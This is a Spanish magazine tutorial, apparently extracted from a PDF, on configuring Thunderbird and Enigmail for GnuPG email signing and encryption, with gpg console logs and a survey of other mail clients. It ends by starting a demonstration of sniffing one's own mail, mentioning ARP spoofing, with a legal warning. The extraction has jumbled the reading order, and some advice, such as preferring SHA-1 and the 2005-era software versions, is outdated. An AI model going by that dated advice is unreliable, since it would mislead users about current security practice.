Para sistemas Windows: http://


download.mozilla.org/?product=thund
erbird-1.0.2&os=win&lang=en-US

New Account Setup: Seleccionamos cuenta de correo (Email


account).
Identity: Introducimos el nombre
con el que deseamos figurar en la
cuenta, as como la direccin de
correo.
Server Information: Seleccionamos el tipo de servidor
entrante (POP o IMAP) e indicamos
el nombre del servidor. Podemos
seleccionar si usar una bandeja de
entrada global o no (a m particularmente no me gusta).

el nombre de usuario para correo


entrante y correo saliente.

Imagen 1

Para sistemas Mac OS X: http://down


load.mozilla.org/?product=thunderbird1.0.2&os=osx&lang=en-US
La primera vez que iniciis Thunderbird
veris el asistente que os ayudar a
aadir vuestra cuenta de correo.
Cualquier cuenta con soporte POP/SMTP
(o en su defecto IMAP) sirve, y si no
tenis ninguna, podis usar una cuenta
d e G m a i l m e d i a n t e P O P S / S M T P.

Imagen 2

Account Name: Indicamos el


nombre deseado para la cuenta.
Congratulations!: En este punto
hemos finalizado la configuracin
y podemos revisar los datos
introducidos para revisarlos y
volver hacia atrs si fuera
necesario modificar algo.
Tambin es imprescindible configurar el
servidor de correo saliente (en caso de
usar IMAP este paso no es necesario),
para lo cual iremos al men Edit >
Account Settings e introduciremos los
datos en la ficha Outgoing Server
(SMTP). No voy a entrar en los detalles
de la configuracin de la cuenta de
correo ni de detalles avanzados como
el uso de servidores salientes mltiples
e independientes entre cuentas, pues
no es el objeto de este texto aprender
a usar Thunderbird.
S sealar, no obstante, que es importante sealar las opciones de autenticacin
y cifrado correctas. En el caso de Gmail,
por ejemplo, habra que indicar en el
servidor entrante POP la opcin "Use secure
connection (SSL)", as como TLS en el
servidor saliente SMTP.
Por ltimo nos queda instalar la "joya
de la corona": enigmail. Esta pequea
maravilla programada en XUL (el
lenguaje en el que Mozilla vive y respira,
del ingls "XML-based User Interface

Si no tenis tampoco cuenta de


Gmail, pasaos por este hilo del
foro:
http://www.hackxcrack.com/php
BB2/viewtopic.php?t=17929
Y seguro que alguien os mandar
una invitacin encantados.
Aprovecho para recomendar
encarecidamente (como hago en
cada artculo :-P) que visitis el
foro:
http://www.hackxcrack.com/php
BB2/
L o s p a s o s p a ra a a d i r l a c u e n t a
mediante el asistente son pocos y muy

13

Language") nos va a permitir trabajar


con Mozilla Thunderbird y GnuPG implementado de forma transparente al
usuario. Lo primero es bajar los ficheros
.xpi al disco duro para poder instalarlos
desde Mozilla Thunderbird (mucho ojo,
s i u s i s F i r e f ox , c o n n o i n t e n t a r
instalarlos en el mismo... no obstante
.xpi es la extensin de las extensiones
de Firefox igualmente). Los enlaces para
descarga son:
Para sistemas Linux: http://www.mo
zilla-enigmail.org/downloads/enigmail0.91.0-tb-linux.xpi
Para sistemas Windows: http://
www.mozilla-enigma il.org/down
loads/enigmail-0.91.0-tb-win32.xpi
Para sistemas Mac OS X: http://www.mo
zilla-enigmail.org/downloads/enigmail0.91.0-tb-darwin.xpi
Una vez descargado, debemos instalarlo
desde Thunderbird. Para ello iremos al
men Tools > Extensions y seleccionaremos la opcin Install, indicando la
ruta al fichero .xpi descargado.

Es el momento de meternos en harina


con la configuracin de enigmail. Para
ello, vamos al men de preferencias
(imagen 1)
(Enigmail > Preferences) y echamos un
vistazo a sus distintas pestaas:
(imagen 2)
Basic: En este apartado podemos
configurar las opciones generales de
enigmail. El apartado "GnuPG executable
path" nos permite definir la ruta al
ejecutable GPG, cosa que puede resultar
til si tenemos instalada ms de una
versin (yo, por ejemplo, tengo instalada
la 1.4.0-3 en /usr/bin/gpg y la 1.9.156 de desarrollo en /usr/bin/gpg2) y
queremos especificar cul usar en
nuestro correo. En Windows debera ser
C:\ruta_a_gpg\gpg.exe. Los parmetros
adicionales nos permiten especificar
alguna opcin que no est incluida por
defecto pero que por algn motivo a
nosotros nos interese que s lo est
(enigmail ya incluye en este apartado

14

el que el set de caracteres sea UTF8).


La opcin de recordar el passphrase del
usuario por un tiempo (en minutos)
establecido puede resultar til cuando
se deseen mandar muchos correos en
un corto perodo de tiempo... pero es
una opcin que yo no recomiendo, por
motivos de seguridad. As mismo, la
opcin de eliminar la necesidad de
passphrase permite trabajar con claves
sin passphrase o cuyos usuarios utilicen
algn gestor de passphrases como gpgagent. Por ltimo, en la casilla de
servidores de claves podemos especificar
cules deseamos usar.
Lamentablemente enigmail ya no
soporta PGP, las razones podis
leerlas en el siguiente enlace:
http://enigmail.mozdev.org/help
.html#win
El equipo de enigmail afirma que
la PGP Corp. no ofrece versiones
de lnea de comandos a un precio
razonable, as como tampoco unos
sistemas de salida estandarizados.
Sending: La opcin "Encrypt to self"
hace que al enviar cualquier correo,
nuestra propia clave (la que se encuentre
seleccionada en cada cuenta) sea
seleccionada como uno de los
destinatarios, lo cual es muy til, pues
de otra forma tras enviar un correo y
ser ste almacenado en la carpeta de
enviados, no podramos leerlo. La opcin
"Always trust user ID" hace que se
ignore el sistema de confianza de GPG
y se permita cifrar a cualquier clave,
independientemente de que sta est

Imagen 3

configurada como vlida o no. "Always


confirm before sending" es autoexplicativa (pide confirmacin antes de
enviar nada) y es til cuando tenemos
el dedo un poco despistado :-P. La opcin
"Rewrap signed HTML before sending"
reformatea el mail para evitar firmas
no vlidas en usuarios que utilicen correo
HTML (cosa que por otro lado desaconsejo profundamente... con lo bonito
que es el texto plano ASCII de toda la
vida :-D), pero puede causar que el
correo resulte ligeramente modificado.
"Allow empty subject" hace que enigmail
y Thunderbird no lancen el aviso de
asunto vaco que por defecto muestran.
Mediante la opcin "Allow flowed text"
podemos activar el soporte del texto
plano fluido que se detalla en el RFC
#2646 (ftp://ftp.rfc-editor.org/in-notes
/rfc2646.txt).
La opcin de "Allow flowed text"
puede ser til para usuarios de
determinados MUA's que tengan
problemas al tratar caracteres
como saltos de lnea. En
Thunderbird no tendris ningn
tipo de problemas de este tipo,
por lo que no es necesario que la
activis.
Key Selection: En esta pestaa nos
encontramos con dos apartados. En el
primero de ellos, "Normal Key Selection",
podemos seleccionar el comportamiento
ante el envo de correo con respecto a
las claves: la primera opcin es no
mostrar nunca la pantalla de seleccin

de claves, de forma que al enviar un


correo a un destinatario que no se
encuentre en ninguna de las claves que
poseemos, enigmail lo enviar sin cifrar
sin preguntar; la segunda opcin es que
la pantalla de seleccin de claves se
muestre cuando sea necesario (el
ejemplo dado para la opcin anterior);
y la tercera es mostrarla siempre.
Recomiendo usar la segunda (mostrarla
cuando sea necesario), si bien yo la
muestro siempre. La segunda parte de
esta pestaa configura el comportamiento particular de enigmail segn
el destinatario del mensaje: desactivar
el comportamiento selectivo segn destinatario; aplicar las reglas definidas
por el usuario en el editor de reglas
predestinatario (imagen 3), de forma
que si no existen reglas no se haga
nada; o bien activar las reglas siempre,
de forma que si no existe regla alguna
predefinida para el destinatario, se cree
una nueva. Mi recomendacin es activar
la segunda opcin y, si lo deseamos,
definir unas determinadas reglas para
un destinatario concreto.
PGP/MIME: En esta pestaa podemos
seleccionar si deseamos usar el estndar
PGP/MIME (RFC #3156, ftp://ftp.rfce d i t o r. o r g / i n - n o t e s / r f c 3 1 5 6 . t x t ) ,
simplemente permitir su uso, o por el
c o n t ra r i o n o p e r m i t i r l o. A d e m s ,
podemos seleccionar el algoritmo de
hash que deseamos usar, entre MD5,
SHA-1 y RIPEMD-160. Si recordis el
artculo anterior, hasta hace poco SHA1 era el nico que no haba sido
comprometido, aunque ahora mismo los
tres han tenido ataques exitosos a su
algoritmia. No obstante, sigo
recomendando SHA-1 mientras
implementan nuevos y ms potentes
algoritmos en OpenPGP, adems de ser
el nico que funciona con el 100% de
las claves. Respecto al uso de PGP/MIME,
lo mejor es permitir su uso y luego
usarlo o no segn las circunstancias.

cual es altamente conveniente (si


nuestro interlocutor considera que la
conversacin es lo suficientemente
importante para estar cifrada, no vamos
a contradecirle... :-D). Mediante "Do
not add Enigmail comment in OpenPGP
signature" evitamos que enigmail incluya
en el comentario una frase informando
de su uso. Para todos aquellos que
acostumbran a adjuntar firmas en su
correo electrnico (yo, por ejemplo) o
leen correos con firmas, la opcin "Treat
'--' as signature separator" es
importante, pues el estndar openPGP
establece que la cadena '--' se
transforme en '- -' a la hora de firmar,
de forma que si no activamos esta opcin
no veremos correctamente las firmas
(texto gris claro). La opcin "Use gpgagent for passphrase handling" es til
para los que no quieran tener que teclear
contraseas (cosa, por otro lado, poco
recomendable y muy insegura) y debe
ser usada en conjuncin con la opcin
"No passphrase for user" del men Basic
de configuracin. La siguiente opcin
permite modificar la forma en que
enigmail trata las cadenas de direcciones
de correo electrnico, eliminando los
smbolos '<>' para mantener
compatibilidad con claves generadas
con Hushmail. La opcin "Load MIME
parts on demand (IMAP folders)" es

recomendable que sea desactivada si


usas una o ms cuentas IMAP, pues
permite a enigmail tratar correctamente
los ficheros adjuntos como armadura
de texto, evitando el problema que
genera Thunderbird al cargar los
mensajes segn son requeridos por el
cliente. Existe una opcin adicional (justo
antes de la ltima) si usis enigmail en
Mozilla Suite llamada "Hide SMIME
button/menus" que elimina de la interfaz
los elementos referidos al estndar
S/MIME.
S/MIME (Secure/Multipurpose
Internet Mail Extensions) es un
estndar que propone varias
extensiones de seguridad para
correo electrnico, basado en el
sistema PKI (Public Key
Infrastructure) y muy parecido a
OpenPGP en su concepcin. Actualmente la versin ms reciente es
la 3, que como siempre, podemos
conocer gracias a los correspondientes RFC's:
S/MIME Version 3 Message
Specification (RFC #2633): ftp:
/ / f t p . r f c - e d i t o r. o r g / i n - n o t e s
/rfc2633.txt
S/MIME Version 3 Certificate

Imagen 4

Advanced: En este men se encuentran las opciones menos comunes


de enigmail. "Encrypt if replying to
encrypting message" hace que enigmail,
por defecto, seleccione la opcin de
cifrar mensaje cuando estemos
respondiendo a un mensaje cifrado, lo

15

Handling (RFC #2632): ftp://


f t p . r f c - e d i t o r. o r g / i n - n o t e s
/rfc2632.txt

Initializing Enigmail service ...


EnigmailAgentPath=/usr/bin/gpg
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --version
gpg (GnuPG) 1.4.0
Copyright (C) 2004 Free Software Foundation, Inc.
T h i s p r o g r a m c o m e s w i t h A B S O L U T E LY N O W A R R A N T Y.
This is free software, and you are welcome to redistribute it
under certain conditions. See the file COPYING for details.
Home: ~/.gnupg
Supported algorithms:
Pubkey: RSA, RSA-E, RSA-S, ELG-E, DSA
Cipher: 3DES, CAST5, BLOWFISH, AES, AES192, AES256, TWOFISH
Hash: MD5, SHA1, RIPEMD160, SHA256, SHA384, SHA512
Compression: Uncompressed, ZIP, ZLIB, BZIP2

Listado 1
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 --comment '
Using GnuPG with Thunderbird - http://enigmail.mozdev.org' --clearsign -u 0xAF95

Es mejor o peor que OpenPGP?


Va en gustos. Lo que s es a todas
luces es algo ms complejo en su
estructura (pues aparte de los
clsicos algoritmos de cifrado
simtricos, asimtricos y de hash,
tenemos que tratar con otros
elementos como los certificados
de seguridad X.509), y algo anticuado en cuanto a los algoritmos
usados y siempre comparndolo
con OpenPGP (S/MIME utiliza 3DES
como algoritmo de cifrado
simtrico).

93E1 --passphrase-fd 0 --no-use-agent

Listado 2
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 --comment '
Using GnuPG with Thunderbird - http://enigmail.mozdev.org' --clearsign -u 0xAF95
93E1 --passphrase-fd 0 --no-use-agent
gpg: skipped "0xAF9593E1": bad passphrase
gpg: [stdin]: clearsign failed: bad passphrase
e n i g m a i l . j s : E n i g m a i l . e n c r y p t M e s s a g e E n d : E r r o r i n c o m m a n d e xe c u t i o n
enigmail.js:

Enigmail.encryptMessage:

Error

in

command

Listado 3

Imagen 5

Imagen 6
Good signature from <emisor> <correo_del_emisor>
Key ID: <KeyID_del_emisor> / Signed on: <fecha_de_firma>

Listado 4

16

execution

Debugging: En este men se


configuran las opciones de correccin
de errores de Thunderbird. En el campo
"Log directory" podemos configurar una
ruta para almacenar los logs de enigmail
(en caso de no especificar ninguna ruta,
no se almacenarn logs). En el campo
"Test email" podremos introducir un
email para probar la introduccin del
passphrase, la validez de la clave...

Ya hemos configurado las opciones


generales de enigmail, pero an nos
queda por configurarlo particularmente
para la cuenta creada. Para ello iremos
a la configuracin de la cuenta a travs
del men Edit > Account Settings y
seleccionamos el men "OpenPGP
Security" (imagen 4). Ahora debemos
activar el soporte OpenPGP para esta
cuenta, y seleccionar el mtodo de
eleccin de clave: en base al correo
electrnico o una clave determinada
(recomiendo esta segunda opcin).
Adems debemos configurar el
comportamiento respecto a firma y
cifrado de enigmail con esa cuenta, para
lo cual recomiendo seleccionar firmar
siempre todos los mensajes (tanto
cifrados como no cifrados) pero no
activar el cifrado por defecto. Las dos
ltimas opciones permiten aadir sendos
campos a la cabecera del correo
electrnico indicando el KeyID de la
clave usada y una URL de donde bajarla
respectivamente.

enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 -d


gpg: Signature made Mon May 2 01:50:47 2005 CEST using RSA key ID FB5671E1
gpg: Good signature from "Noticias Hispasec - 2004 <noticias@hispasec.com>"

Listado 5

(en caso de no ver la informacin


completa, pulsad sobre el icono "+"
junto a la cabecera). Si nada ha fallado,
nos mostrar un mensaje similar a este:
(listado 4)
Podemos pulsar en el icono del bolgrafo
para obtener informacin extendida
(imagen 6), as como consultar la
consola de enigmail para ver qu
comando se ha ejecutado y la salida del
mismo: (listado 5)
Todo esto es lo que ocurrir en la
mayora de las ocasiones, cuando no
exista ningn problema con la firma.
Pero, como bien sabemos todos, siempre
hay algn problema... :-P

Imagen 7

Imagen 8
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 -d
gpg: Signature made Sun Mar 27 14:14:54 2005 CEST using RSA key ID <KeyID>
gpg: BAD signature from "Popolous <correo>"
e n i g m a i l . j s : E n i g m a i l . d e c r y p t M e s s a g e E n d : E r r o r i n c o m m a n d e xe c u t i o n

Listado 6

Hay un elemento que quiero comentar


antes de empezar a trabajar con
enigmail: la consola de debugging. Esta
consola puede ser accedida mediante el
men Enigmail > Debugging Enigmail >
View Console. En ella, al arrancar
Thunderbird, solamente se reflejar la
informacin de arranque:(listado 1)

Bien, tras todo este rollo terico y


configuraciones varias, ya podemos
meternos con la parte prctica... que al
fin y al cabo siempre es la ms
interesante. Vamos a empezar aprendiendo a analizar los correos firmados
y/o cifrados que recibimos en nuestro
buzn...

Ahora veamos qu aparece en la consola


cuando envo un correo firmado...
(listado 2)

Como ejemplo, voy a tomar el correo


del boletn una-al-da de la gente de
Hispasec (http://www.hispasec.com/,
desde aqu mando un saludo para ellos)
(imagen 5).

Ahora, si introduzco el passphrase de


forma incorrecta...(listado 3)
Como vemos la consola nos puede
ayudar mucho a la hora de controlar los
errores producidos, as como para
conocer mejor GnuPG (a travs del
anlisis de los comandos que ejecuta
enigmail).

Como vemos, nada ms seleccionar el


correo en la ventana principal de
Thunderbird (o bien al abrir el mensaje
en una ventana independiente) veremos
una seccin aadida por enigmail con
fondo verde en la que se nos proporciona
informacin sobre el estado de la firma

Es bastante comn que nicamente una


parte del correo haya sido firmado. Esta
situacin se da, por ejemplo, cuando
nuestro interlocutor est respondiendo
a un correo firmado (con lo que la parte
respondida, y siempre y cuando no haya
sido modificada, estar firmada), cuando
se adjuntan ficheros que no han sido
firmados, o cuando intencionadamente
se firma una parte discreta de mensaje.
Veamos un ejemplo (imagen7). Este
correo fue enviado por mi querido amigo
Popolous a la lista de correo de gestin
de textos de la revista, y aqu vemos
un ejemplo de un mensaje parcialmente
firmado: enigmail nos advierte de que
parte del mensaje ha sido firmado, de
que los adjuntos no han sido firmados,
y nos especifica con un mensaje
llamativo en el cuerpo del correo qu
parte es la firmada.
Todas las partes que oculto de
las imgenes son para proteger
la privacidad de alguien. Mi
KeyID ha sido publicada varias
veces en anteriores artculos,
as como direcciones o KeyID
de listas pblicas (por ejemplo,
una-al-da). Lo que no voy a
hacer es publicar ni direcciones
ni KeyID privadas de usuarios
particulares.
Ahora vamos a ver otro ejemplo en el
que la firma est directamente mal
(tambin de Popolous... lo siento, hoy
te ha tocado xD) (imagen 8).

17

Imagen 9
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 -d --passph
rase-fd 0 --no-use-agent
gpg: encrypted with 4096-bit RSA key, ID 0260BBB0, created 2003-07-21
"Death Master <correo>"
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 --verify
gpg: Signature made Mon Apr 25 23:28:02 2005 CEST using DSA key ID <KeyID>
gpg: Good signature from "AcidBorg <correo>"

Listado 7

Imagen 10

Imagen 11

Imagen 12

Como vemos, enigmail nos muestra dos


avisos visuales llamativos para
alertarnos de la situacin: en primer
lugar el fondo de la cabecera aadida
cambia a rojo, con su correspondiente
mensaje de error; y adems el icono
del bolgrafo ahora muestra una seal
de error. Pulsando en dicho icono, o
bien acudiendo a nuestra amada consola
de enigmail (;-P) podremos obtener ms
detalles del error. Yo consultar la
consola:(listado 6)
Evidentemente, no siempre una alerta
de una firma errnea supone que alguien
haya estado enredando en tus correos.
Pero cuando todo marcha bien, s es
sntoma inequvoco de que nada malo
ha pasado.
Ahora veamos qu pasa cuando
recibimos un correo cifrado (imagen
9), por ejemplo uno que me mand
recientemente mi amigo AcidBorg (s,
hay gente que se manda el correo cifrado
como costumbre, qu pasa? xD). En
primer lugar -evidentemente- nos pedir
el passphrase de nuestra clave como
mnimo una vez (pueden ser ms, si
hay archivos adjuntos que tambin han
sido cifrados, con lo que nos la pedir
tantas veces como archivos haya ms
una -el correo-). En caso de introducirla
mal (o no introducirla), no veremos
nada y enigmail nos devolver como
error "bad passphrase" (cuyo ejemplo
ya puse antes, hablando de la consola).
Una vez descifrado el correo, veremos
la cabecera con fondo verde con los
mensajes correspondientes a la
verificacin de la firma y adems el del
descifrado del correo. Al icono de firma
correcta hay que aadir ahora uno de
descifrado correcto (representado por
una llave), si bien ambos proporcionan
la misma informacin.
La salida de la consola ahora ser un
poco ms larga, pues debe contener la
informacin del proceso de descifrado y
de verificacin de la firma:(listado 7)

Imagen 13

18

Es posible que en algn momento


recibamos un correo firmado por alguien
cuya clave no poseemos (si ests
suscrito a alguna lista de correo, es muy
comn). En ese caso, enigmail nos
avisar con un mensaje de error con

(imagen 12) la opcin "Sign Message"


(y si habis seguido mis recomen
daciones sobre la configuracin
de enigmail, ni siquiera eso). Al dar la
orden de envo a Thunderbird, se nos
pedir el passphrase y tras introducirlo
correctamente, el correo se firmar y
enviar automticamente.
Para enviar un correo cifrado hay que
seleccionar la opcin "Encrypt Message"
(es recomendable firmar tambin los
mensajes cifrados). Al dar la orden de
envo, pueden pasar dos cosas: que el
correo se mande automticamente (o
bien os pida el passphrase, en caso de
haber seleccionado tambin la opcin
de firma), o bien que aparezca la ventana
de seleccin de claves (imagen 13).
En qu condiciones aparece esa ventana?
Pues depende de la configuracin que
hayis establecido en enigmail. Si habis
seguido mi recomendacin, nicamente
aparecer cuando se est enviando un
correo a un destinatario que no figura
en ninguna de las claves de nuestro
anillo. Si habis configurado enigmail
c o m o yo, a p a r e c e r s i e m p r e x D.

Imagen 14

Imagen 15

En esta ventana simplemente debemos


seleccionar el o los destinatarios a los
que deseamos cifrar el mensaje y pulsar
aceptar. Es posible, as mismo, indicar
en este paso que el correo sea mandado
sin cifrar (en la casilla "Send mail
unencrypted"); refrescar la informacin
del anillo de claves; descargar nuevas
versiones de las claves desde un servidor
de claves; y editar las reglas de predestinatario.

Imagen 16
fondo beige en su cabecera y nos instar
a pulsar en el icono del bolgrafo para
obtener ms detalles (imagen 10). He
tomado como ejemplo un correo
mandado a la lista de correo del Hacklab
Vallekas (otro saludo desde aqu para
toda la gente del Kaslab, de quienes
podis encontrar ms informacin en
http://vallekaslab.ath.cx/) por alguien
cuya clave no se encontraba en mi anillo.
Al pulsar en el icono del bolgrafo
enigmail nos avisar de que no ha podido
verificar la firma por no encontrar la
clave pblica del firmante en nuestro
anillo, as como nos solicitar permiso

para descargar dicha clave de un


servidor de claves (imagen 11). Si le
otorgamos permiso, nos preguntar qu
servidor deseamos usar de entre los
que estn indicados en las opciones de
enigmail, tras lo cual se conectar al
mismo y descargar la clave a nuestro
anillo directamente.
Enviar correos firmados y/o cifrados es
mucho ms sencillo, gracias a que enigmail
se encarga de la parte dura. ;-)
La firma es totalmente transparente.
Simplemente hay que seleccionar en el
men OpenPGP de la barra de tareas

Existen as mismo un par de opciones


adicionales en el men OpenPGP de
composicin de correo: la primera nos
permite activar el uso de PGP/MIME, y
la segunda ignorar las reglas predestinatario para el mensaje actual.

Existe en enigmail una opcin


relativamente reciente (desde la versin
0.89 del 14 de Noviembre de 2004)
consistente en toda una interfaz grfica
para GnuPG incrustada en enigmail y el
gestor de correo que lo use (sea

19

mejores clientes de correo que existen,


no a todo el mundo tiene porqu
gustarle. Adems, para los usuarios de
Windows supone no poder usar PGP y
depender de GnuPG, lo cual no a todo
el mundo le gusta (si bien es cierto que
con el administrador de claves de
enigmail ya no es tan problemtico...).
Para todas esas personas, ahora vamos
a conocer otros clientes de correo que
permiten manejar OpenPGP con gran
facilidad. Primero vamos a hablar de los
clientes para sistemas Unix-like (como
GNU/Linux) y luego para sistemas
Microsoft Windows. Cada cual que
pruebe y elija el que ms le guste. :-)
Kmail (*NIX): Se trata del cliente de
correo integrado en el gestor de
ventanas KDE. Implementa OpenPGP
con GnuPG mediante GPGME (GnuPG
Made Easy). Su configuracin (imagen
16) y uso es muy similar a todas las
que ya hemos visto, por lo que no creo
que haya que entrar en detalles.

Imagen 17

E n e n t o r n o s U n i x- l i k e l o s
entornos grficos tienen dos
partes fundamentales: el
servidor grfico y el gestor de
ventanas. El servidor grfico es
el "corazn" del sistema grfico,
y existen varias implementaciones (Xfree86, Xorg...),
mientras que el gestor de
ventanas es el "rostro" del
mismo, la parte visible al
usuario.

Imagen 18
Thunderbird o Mozilla) (imagen 14).
Como veris, tiene un gran parecido
con otras GUI's (imagen 15).
Po d e m o s a c c e d e r a e s t a i n t e r f a z
denominada "OpenPGP Key Manager"
mediante el men Enigmail > OpenPGP
Key Management. Esta opcin resulta
especialmente til a los usuarios de
GnuPG bajo Windows, que de esta forma
pueden evitarse el uso de la lnea de
comandos si les resulta incmoda.

20

Mediante esta interfaz podemos realizar


todas las opciones bsicas de GnuPG de
una forma similar a cualquier otra GUI:
trabajo con claves, acceso al servidor de
claves, generacin de pares de claves...
no dejis de echarle un vistazo. ;-)

Aunque en mi opinin Mozilla


Thunderbird es, hoy por hoy, uno de los

Gestores de ventanas existen


muchos: KDE (K Desktop
Environment) y GNOME (GNU
Network Object Model
Environment) son los
principales y ms utilizados,
pero existen muchos otros:
Fluxbox, WindowMaker, IceWM,
Blackbox, XFCE, Enlightenment...
Entre los usuarios de KDE
(como yo) y los de Gnome (esos
herejes ;-P) siempre ha existido
un "sano pique"... aprovecho
para mandar desde aqu un
saludo para mis amigos
Gnomeros, que por cierto son
muchos. :-D

a buen nmero de gusanos de


correo.
Queris un consejo? No usis
Outlook, hay muchas otras
mejores opciones para sistemas
Windows, y no necesariamente
Software Libre.
Eudora (Windows): Uno de los ms
veteranos clientes de correo para
Windows. Al igual que ocurra con
Outlook Express, PGP nos ofrece durante
su instalacin un plugin para integrar
soporte para PGP en Eudora.
Personalmente, lo prob y no me
termin de convencer, pero al igual que
ocurre con Evolution, tiene grandes
incondicionales. Es importante tener en
cuenta que este software es de pago,
por lo que deberis abonar la
correspondiente licencia para poder
instalarlo (o probar una versin de
evaluacin).

Imagen 19

Imagen 20
Evolution (*NIX, Windows): Ahora es
el turno del cliente integrado en el gestor
de ventanas Gnome (imagen 17). La
implementacin OpenPGP es
directamente a travs de GnuPG, y
aunque no implementa tantas opciones
como Kmail o enigmail, son ms que
s u f i c i e n t e s c o m o p a ra m a n e j a r s e
cmodamente con l. Adems, existe
desde hace relativamente poco una
implementacin para sistemas Windows,
por lo que tambin los windowseros
podris disfrutar de este cliente (mucha
gente dice que es de los mejores... fue
uno de los primeros que prob y
personalmente no me gust).
Sylpheed (*NIX, Windows): Este
cliente
grfico
implementa
compatibilidad con GnuPG a travs de
los plugins sylpheed-claws-pgpinlineplugin y sylpheed-claws-pgpmime. No
es un cliente muy conocido, pero es
bastante usado entre los ms frikis de
Linux.
Mutt (*NIX): Se trata de un cliente
para consola (osea, que no tiene modo

grfico) que soporta de forma nativa


soporte para GnuPG (imagen 18). Si
sylpheed es un cliente para frikis, ste
e s p a ra m e g a - f r i k i s d e l i b r o. x D
Outlook Express (Windows): Se trata
del cliente por defecto en los sistemas
Windows, del mismo desarrollador
(Microsoft), y no creo que haya mucha
gente por aqu que no lo conozca. El
instalador de PGP nos ofrece durante el
proceso de instalacin la opcin de
instalar un plugin para Outlook Express
que permite integrar soporte para el
mismo.
Esto que voy a decir ahora es
una opinin personal, y como
tal es gratis: Outlook Express
(y Outlook) son seguramente
los clientes de correo ms
usados, como suele ocurrir con
todo software de la multinacional Microsoft. As mismo -y
an a riesgo de parecer un
talibn del software libre- os
dir que es uno de los peores
clientes de correo: sus fallos
de seguridad son legendarios y
han "ayudado" a hacer famosos

The Bat! (Windows): Este cliente de


correo empieza a ser cada vez ms
conocido, y es -en mi opinin, como
siempre- una de las mejores opciones
dentro del software no libre, si no la
mejor. Implementa compatibilidad con
OpenPGP a travs de diversas versiones
de PGP y GnuPG, as una implementacin
propia empotrada en el software que
permite usar cifrado de correo OpenPGP
sin necesidad de instalar software
adicional (imagen 19). Esa implementacin propia posee la mayora de las
caractersticas de PGP y GnuPG, as como
interfaz grfica propia (imagen 20).
Todos estos clientes de correo se
configuran y usan de una manera muy
similar (excepto Mutt, que es un "caso
aparte"), as que no creo que nadie
tenga ningn problema con ellos. Y si
alguno de vosotros lo tiene, slo tenis
que pasaros por el foro y preguntar,
estoy seguro que alguien os ayudar
encantado (hasta con Mutt, que me s
de alguno que lo usa :-P).

Es bastante probable que en un


momento dado necesitemos una manera

21

es a travs de Thunderbird).
Lo primero, vamos a escribir un texto
(yo usar mi queridsimo Vim :-P)
(listado 8).
Ahora lo cifraremos con GnuPG...
(listado 9).
Con lo que hemos obtenido un fichero
texto.txt.asc que contiene:(listado 10).
Copiamos el texto, lo pegamos en la
ventana de composicin de mensaje del
webmail (imagen 21), y lo enviamos.
Ahora comprobamos que ha llegado, se
descifra y la firma se verifica
correctamente (imagen 22).
Consultando la consola de enigmail
vemos que efectivamente as es:
(listado 10).

Imagen 21

Mediante este mtodo podemos transmitir


mensajes cifrados por cualquier medio
que permita el envo de texto, y no
nicamente limitarnos al correo
electrnico... pensad en otros ejemplos
de comunicacin con texto: IRC,
mensajera instantnea... pero tambin
existen formas de cifrar automticamente
en estos medios. Ya hablaremos de ello a
su debido tiempo... ;-)

Imagen 22
Hola, esto es una prueba...
Wa d a l b e r t i a b e r a l l e s !

Listado 8
master@blingdenstone:~$ gpg --armor --recipient 0xaf9593e1 --sign --encrypt-files texto.txt
You need a passphrase to unlock the secret key for
user: "Death Master <correo_electrnico>"
4096-bit RSA key, ID AF9593E1, created 2003-07-21
master@blingdenstone:~$
-----END PGP MESSAGE-----

Listado 9
de utilizar OpenPGP "universal". Por
ejemplo, podemos estar usando un
cliente que no tenga soporte para
OpenPGP, o que lo tenga mediante
complicados plugins o scripts; o puede
que estemos usando un cliente webmail
y hayamos recibido un correo cifrado
y/o firmado que queramos descifrar y/o
verificar.

22

Sea cual sea el caso, es til tener a


mano una forma general de usar
OpenPGP para correo electrnico. Para
ello vamos a usar las capacidades de
cifrado de texto plano de GnuPG, KGPG
y PGP. Para este ejemplo voy a mandar
un correo cifrado desde mi cuenta de
gmail mediante la interfaz webmail (no
suelo utilizar gmail, y cuando lo hago

Realmente es tan necesario el uso de


c r i p t o g ra f a ? S o n t a n i n s e g u r o s
nuestros correos electrnicos? En
realidad esto es como todo: tiene tanta
importancia como t quieras darle. No
veo ningn problema en mandarle a un
amigo un correo sin cifrar en el que le
dices que habis quedado a las 22.00
en la estacin de metro; pero en cambio
me preocupa sobremanera cmo enviar
a ese mismo amigo las claves de acceso
a la base de datos del foro, y quien dice
claves de acceso dice nmero de
cuentas, documentos importantes...
Por eso, vamos a ver un ejemplo de lo
fcil que resulta espiar el correo
electrnico. Para ello voy a usar el
magnfico
sniffer
Ethereal
( h t t p : / / w w w. e t h e r e a l . c o m / ) p a r a
capturar el trfico de diversos correos

-----BEGIN PGP MESSAGE----Version: GnuPG v1.4.0 (GNU/Linux)


hQIMAyaE+coCYLuwARAAiszhc4nwZEwMWoGRkLbVgxkQPeKC1mw6maoZupPifL0V
{...}

Listado 10
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 -d --passph
rase-fd 0 --no-use-agent
gpg: encrypted with 4096-bit RSA key, ID 0260BBB0, created 2003-07-21
"Death Master <correo_electrnico>"
gpg: Signature made Sat May 7 15:53:05 2005 CEST using RSA key ID AF9593E1
gpg:

Good

signature

from

"Death

Master

<correo_electrnico>"

{...}
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 --with-colo
ns --list-keys 6F6F3938AF9593E1

Listado 11

que voy a enviarme a m mismo. En


este caso voy a capturar el trfico desde
el mismo ordenador que lo genera, pero
sera trivial realizarlo desde cualquier
otro ordenador de la misma red (con
tcnicas como ARP Spoofing, por
ejemplo) o cualquier ordenador
conectado a una red por la que pase el
correo electrnico antes de llegar a su
destino.
IMPORTANTE!! Antes de nada,
debe quedar MUY clara una
cosa: yo voy a utilizar cuentas
de correo que son de mi
propiedad por lo que no hay
ningn problema. Pero en caso
de que no fueran mas s lo
habra, pues espiar el correo
electrnico es un DELITO MUY
GRAVE.
Cada cual es responsable de
sus propios actos.
Para nuestro primer ejemplo voy a
mandar un correo electrnico sin cifrar
desde una cuenta con correo saliente
SMTP hasta una cuenta con correo
